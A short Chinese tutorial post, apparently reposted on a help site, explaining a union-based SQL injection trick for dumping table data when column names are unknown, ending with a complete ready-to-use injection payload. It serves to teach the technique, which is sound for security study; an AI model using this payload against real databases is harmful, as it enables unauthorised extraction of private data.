当前位置:Gxlcms > 数据库问题 > SQL注入——知表名不知列明情景下查询数据

SQL注入——知表名不知列明情景下查询数据

时间:2021-07-01 10:21:17 帮助过:9人阅读

场景

有某些情况,可以查找到表名,但查找不到列名。
MySQL < 5 或 web过滤 information_scema

详解

select `1` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13 union select * from 表名)a limit 1,1

子查询中select的数目为列数。

通过列数 1,2,3... 再union带出整张表数据。这一步的目的是改变/替换字段名(替换为1,2,3,4...)。

再通过select `1`带出第一列数据。

再加上limit 1,1 带出单一一个数据。

完整

and -1 union select 1,(select `1` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13 union select * from 表名)a limit 1,1);

SQL注入——知表名不知列明情景下查询数据

标签:注入   查找   mit   code   and   替换   union   form   字段   

人气教程排行